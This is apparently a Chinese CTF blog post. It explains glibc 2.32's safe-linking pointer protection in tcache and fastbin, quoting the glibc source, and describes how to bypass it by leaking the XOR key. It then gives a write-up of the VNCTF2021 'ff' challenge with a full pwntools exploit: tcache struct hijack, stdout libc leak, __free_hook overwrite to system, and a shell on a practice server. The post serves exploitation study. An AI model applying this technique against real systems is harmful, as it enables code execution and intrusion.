Glibc2.32上tcache和fastbin的改动

警告
本文最后更新于 2021-03-17,文中内容可能已过时。

新增的保护

在tcache中

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
static __always_inline void 
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;
  e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  if (__glibc_unlikely (!aligned_OK (e)))
    malloc_printerr ("malloc(): unaligned tcache chunk detected");
  tcache->entries[tc_idx] = REVEAL_PTR (e->next);
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}

在fastbin中

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
if (SINGLE_THREAD_P)  
{
    /* Check that the top of the bin is not the record we are going to
        add (i.e., double free).  */
    if (__builtin_expect(old == p, 0))
        malloc_printerr("double free or corruption (fasttop)");
    p->fd = PROTECT_PTR(&p->fd, old);
    *fb = p;
}
else
    do
    {
        /* Check that the top of the bin is not the record we are going to
            add (i.e., double free).  */
        if (__builtin_expect(old == p, 0))
            malloc_printerr("double free or corruption (fasttop)");
        old2 = old;
        p->fd = PROTECT_PTR(&p->fd, old);
    } while ((old = catomic_compare_and_exchange_val_rel(fb, p, old2))
        != old2);

加密指针的方式

可以发现,在原来的next位置不再是直接记录next的位置信息,而是通过一定的手段来加密,现在来看一下这个加密的信息。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
/* Safe-Linking:
Use randomness from ASLR (mmap_base) to protect single-linked lists
of Fast-Bins and TCache.  That is, mask the "next" pointers of the
lists' chunks, and also perform allocation alignment checks on them.
This mechanism reduces the risk of pointer hijacking, as was done with
Safe-Unlinking in the double-linked lists of Small-Bins.
It assumes a minimum page size of 4096 bytes (12 bits).  Systems with
larger pages provide less entropy, although the pointer mangling
still works.  */
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)

根据官方的注释来看,这个机制的安全性在于开启ASLR之后,对堆地址的不确定性,从而来保护next指针不被劫持。 关键的代码在于:

PROTECT_PTR:对pos右移了12位(去除了末尾的3位信息),再异或原来的指针(在这之前next储存的内容)。

而这里的key就是储存内容的指针(在代码中叫做pos),在放入的时候让内容与这个key进行异或再储存,在取出的时候让内容与这个key进行异或再取出。而得益于这个秘钥就是储存内容的指针,所以无需使用其他空间来放置这个key的内容,只需要保存异或之后的内容,在解密时只需**PROTECT_PTR (&ptr, ptr)**这样操作即可。

需要注意的是,当tcache中只有一个元素的时候,也就是在放入这个元素的过程中,tcache->entries[tc_idx] == 0,在这个时候放入元素的时候会异或0,也就是在e->next位置存放的内容正好就是key的信息,因为key异或0还是秘钥。而且就算之后加入了其他的元素,这个元素始终还是在链表的尾部,所以内容不会发生变化

解决方式

1.泄露秘钥信息

通过0异或秘钥还是秘钥的这个特性,当tcache链上只有一个指针的时候,我们就可以通过show函数来leak出秘钥的信息,有了秘钥的信息之后,我们就可以伪造秘钥信息了。

2.泄露堆地址

可以通过largebin来泄露堆地址,由于key是当前指针 » 12,所以我们可以确保在4096字节内这个key都是正确的

例题

1.VNCTF2021 ff

解题思路:

1.程序存在free之后不清空的漏洞,我们需要做的就是如何在libc2.32下利用这个漏洞。

2.程序最多申请0x7F大小的size,并且我们只有一次show的机会,这意味着我们需要打stdout。

3.通过一次free,泄露出libc2.32的key值,泄露出后我们同时也知道了堆的位置,我们可以伪造tcache struct的位置来申请到那块地方。

4.申请后再free一次我们释放掉的就是tcache struct那块区域,并且这个size 是属于unsorted bin的(在这之前先要把对应位置的tcache counts 设为大于7,这样才能进入unsorted bin)

5.由于unsorted bin的fd和bk会在tcache struct写一些数据,而这些数据会覆盖到tcache struct上的counts,导致取出相应的size时发生错误,所以我们需要将不必要的数据清为0,有需要伪造并取出的部分赋值为1

6.攻击stdout来leak libc(利用unsorted bin的残余),leak之后需要劫持__free_hook为system,并执行。

7.该题目的堆块构造比较巧妙,需要仔细的调试。

EXP:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
# context.log_level = "debug"
libc = ELF('libc/libc.so.6')

def debug(addr=0, PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(r.pid)).readlines()[1], 16)
        print ("breakpoint_addr --> " + hex(text_base + 0x4040))
        gdb.attach(r, 'b *{}'.format(hex(text_base + addr)))
    else:
        gdb.attach(r, "b *{}".format(hex(addr)))

def choice(idx):
    r.sendlineafter('>>', str(idx))

def add(size, content='a'):
    choice(1)
    r.sendlineafter('Size:', str(size))
    r.sendafter('Content:', content)

def delete():
    choice(2)

def show():
    choice(3)

def edit(content):
    choice(5)
    r.sendafter("Content:", content)

def pwn():
    #leak key & heap_base
    add(0x58)
    delete()
    show()
    key = u64(r.recvuntil('1.add', drop=True))
    log.success("key: " + hex(key))
    heap_base = key << 12
    #hijack tcache
    edit(p64(0) * 2)
    delete()
    edit(p64(key ^ (heap_base + 0x10)) + p64(0))
    add(0x58)
    add(0x58, '\x00' * 0x4E + '\xFF')
    delete()
    add(0x48, '\x00' * 6 + '\x01\x00' + '\x00' * 4 + '\x01\x00')
    add(0x38)
    add(0x18, 'a' * 8 + '\xc0\xa6')
    #leak libc
    add(0x48, p64(0xfbad1800) + '\x00' * 0x18 + '\x00')
    stdout_addr = u64(r.recvuntil('\x7f', timeout=1)[-6:].ljust(8, '\x00')) - 132
    libc_base = stdout_addr - libc.sym['_IO_2_1_stdout_']
    if libc_base <= 0:
        raise EOFError
    libc.address = stdout_addr - libc.sym['_IO_2_1_stdout_']
    log.success('libc_base: ' + hex(libc.address))
    #hijcak __free_hook to system
    add(0x18, p64(libc.sym['__free_hook'] - 0x10))
    add(0x78, '/bin/sh\x00' * 2 + p64(libc.sym['system']))
    delete()
    r.interactive()

while True:
    try:
        # r = process('./ff')
        r = remote('node3.buuoj.cn', 26335)
        pwn()
    except EOFError:
        pass

做这题的时候还发现glibc2.32还多了一个检测

1
2
if (__glibc_unlikely (!aligned_OK (e)))
	malloc_printerr ("malloc(): unaligned tcache chunk detected");

由于这个检测的存在,我们tcache申请的地址似乎要做到0x10对齐(x64),所以exp中的在free_hook-0x10的地方申请,-0x8则会触发这个crash。

0%